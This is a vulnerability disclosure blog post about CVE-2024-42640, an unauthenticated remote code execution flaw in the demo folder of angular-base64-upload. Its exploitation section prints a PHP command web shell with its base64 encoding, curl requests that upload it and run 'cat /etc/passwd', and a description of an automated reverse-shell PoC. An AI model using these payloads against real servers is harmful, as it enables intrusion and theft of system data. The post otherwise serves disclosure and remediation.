1. Introduction

The angular-base64-upload library, created by Adones Pitogo, is a tool designed to simplify the process of uploading base64-encoded files in Angular applications. While it provides valuable functionality for developers, versions <= v0.1.20, include critical security vulnerability that can lead to unauthenticated remote code execution (RCE). This blog article will explore the structure of the library, highlight these vulnerabilities, exploitation and provide recommendations for mitigation.

Download the latest vulnerable version - Github Link

Additional Note:

This security issue was identified during a penetration test. It’s important to note that this is not an inherent flaw in the library itself. Instead, it arises from the installation of a vulnerable version, particularly due to the presence of the demo folder included with the library installation. Recognizing that this vulnerability could potentially affect any server application that meets the relevant criteria to run the vulnerable component without the knowledge of users utilizing this library, it was decided to report it to MITRE after conducting an analysis of the library. Hope this address any concerns regarding this security issue.

2. Analysis

The file structure of the angular-base64-upload library is as follows. For this angular-base64-upload, v0.1.20 version was used.

      .
      ├── bower.json
      ├── CHANGELOG.md
      ├── demo
      │   ├── angular-base64-upload.js
      │   ├── index.html
      │   ├── README.md
      │   ├── server.php
      │   └── uploads
      │       └── index.php
      ├── dist
      │   ├── angular-base64-upload.js
      │   ├── angular-base64-upload.min.js
      │   └── angular-base64-upload.min.js.map
      ├── Gruntfile.js
      ├── index.js
      ├── package.json
      ├── README.md
      ├── src
      │   └── angular-base64-upload.js
      └── test
          ├── base.spec.js
          ├── clear-input.spec.js
          ├── config
          │   ├── file_loader.js
          │   ├── grunt_test_runner.js
          │   └── karma.conf.js
          ├── custom-parser.spec.js
          ├── events.spec.js
          ├── helpers
          │   ├── compiler.js
          │   ├── globals.js
          │   └── mocks.js
          └── validations.spec.js
      
      8 directories, 26 files

The versions up to v0.1.20, including itself, include a demo folder to demonstrate and test the functionality. This demo folder contains a PHP file named server.php. This file takes two parameters, base64 and filename, as user input to upload files to the server, and the uploaded content will be saved inside the demo/uploads directory.

server.php

<?php
    class Base64File
    {
      public $base64 = '';
      public $filename = '';
      private $folder = 'uploads';
    
      function __construct($attrs)
      {
        $this->base64 = $attrs['base64'];
        $this->filename = $this->folder.'/'.$attrs['filename'];
        $this->decodeBase64File();
        return $this;
      }
    
      function decodeBase64File() {
          $ifp = fopen($this->filename, 'w');
          fwrite( $ifp, base64_decode( $this->base64) );
          fclose($ifp);
          return $ifp;
      }    
    }

    //parse request payload
    $postdata = file_get_contents("php://input");
    $request = json_decode($postdata, true);
    //end parse
  
    $file = new Base64File($request);
    echo $file->filename;  
?>

The server.php code lacks any kind of file upload validations (assuming it’s developed in that way because this suppose to be only a demo). This allows an attacker to write any file content with any filename to the server. The server.php code lacks any kind of file upload validations (assuming it’s developed in that way because this is supposed to be only a demo). This allows an attacker to write any file content with any filename to the server. If there’s an application using this vulnerable version of the angular-base64-upload library, and it’s accessible through node_modules or bower_component directory, this allows attackers to write file content on the server. This will lead to unauthenticated remote code execution.

3. Exploitation

angular-base64-upload versions prior to v0.1.21 are vulnerable to unauthenticated remote code execution via the angular-base64-upload/demo/server.php endpoint. Exploitation of this vulnerability involves uploading arbitrary file content to the server, which can subsequently accessed through the angular-base64-upload/demo/uploads endpoint. This leads to the execution of previously uploaded content which enables the attacker to achieve code execution on the server. ⚠️ Disclaimer ! The information and exploitation steps provided in this document are intended for educational and research purposes only. The author disclaims any responsibility for the misuse of this information or for any consequences that may arise from its application. By accessing this content, you agree to use it responsibly and ethically. Any malicious use of the information presented is strictly prohibited, and the author will not be held liable for any damages or illegal activities resulting from the use of this information. In this article two methods will be explained:

Automated Exploitation
Manual Exploitation

3.1 Automated Exploitation

The automated script will look for vulnerable endpoints according to the base URL provided, (Example: node_modules/angular-base64-upload/…) and if the vulnerable demo folder is found it will proceed with exploitation. By default the script will upload a PHP command shell (web shell) to the server. After that a terminal-like interface will be provided to continuously execute the commands on the victim server. The script also have an option to provide a –rev flag when executing it. This will attempt to upload a PHP reverse shell to the target server. It will take the listener IP address and port to update the PHP-reverse-shell that will be downloaded from @pentestmonkey Then it will send the PHP file to the server.php After that it will send a request to the uploaded php-reverse-shell and you’ll get the reverse shell on the target. (Please note that the PoC exploit script and the security issue fix and verification scripts may be subject to updates with varying functionalities. You can refer to the README file in the GitHub repository for more information.) Github PoC Exploit for Automated Exploitation: https://github.com/rvizx/CVE-2024-42640

3.2 Manual Exploitation

Send a curl request to the {node_modules/bower_components}/angular-base64-upload/demo/server.php endpoint to see whether it’s the server is not responding with a HTTP response code 404. You’ll probably get a 500. This can be used to identify whether the target is vulnerable or not. You can also test this with angular-base64-upload/demo/index.html (just like in the PoC exploit).
Send another curl POST request with a PHP command shell (This is discussed in the next steps) or a php-reverse-shell to the server. Write or download the payload, then encode the content of the payload to base64.

Example:

cmdshell.php

<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>

Convert the payload in to Base64 format

base64 encoded cmdshell.php

PD9waHAKICAgIGlmKGlzc2V0KCRfR0VUWydjbWQnXSkpCiAgICB7CiAgICAgICAgc3lzdGVtKCRfR0VUWydjbWQnXSAuICcgMj4mMScpOwogICAgfQo/Pg==

Send the following request, which has shell.php as the filename and it’s content as the base64 parameter values.

cURL Request 1 - Upload

curl -lk -X POST \
      -H "Content-Type: application/json" \
      -d '{"base64": "<base64-content>", "filename": "shell.php"}' \
      "http://$domain/{node_modules/bower_components}/angular-base64-upload/demo/server.php"

Now, access the shell.php uploaded to the server folder.

cURL Request 2 - Access (Execution)

curl -lk "http://$domain/{node_modules/bower_components}/demo/uploads/shell.php?cmd=cat+%2Fetc%2Fpasswd"

This will execute the cat /etc/passwd command on the server and its output will be shown in the HTTP response body (the content of the /etc/passwd file of the victim).

4. Fixing The Security Issue

In order to fix the security issue,

Update angular-base64-upload library to a version v0.1.21 or newer.
Remove the demo folder from angular-base64-upload folder under the dependency installation directory.

In order to fix the security issue you can use the fix.sh provided below, this will find the vulnerable directory structure, which is angular-base64-upload/demo and it’ll delete those directories. This script also identifies potential prior exploitations if there are any remaining or unexpected file content present in the upload directory. Please make sure to execute the script twice to verify the issue was fixed proerply. GitHub Repository: (Fix and Verification): Fix and Verification Section

5. Timeline

21/07/2024 – Requested a CVE from MITRE
22/07/2024 – Informed the vendor (the project was not maintained anymore; the vendor had created an issue looking for a new maintainer in 2022)
26/07/2024 – Tried to contact the vendor again (no response)
01/08/2024 – Informed MITRE that the library doesn’t seem to be maintained anymore and I hadn’t received any response from the vendor so far
22/08/2024 – MITRE team assigned CVE-2024-42640
11/10/2024 – Publicly disclosed the security issue details

Author / Researcher

Ravindu Wickramasinghe | rvz

​1. Introduction

​2. Analysis

​3. Exploitation

​3.1 Automated Exploitation

​3.2 Manual Exploitation

​4. Fixing The Security Issue

​5. Timeline

​Author / Researcher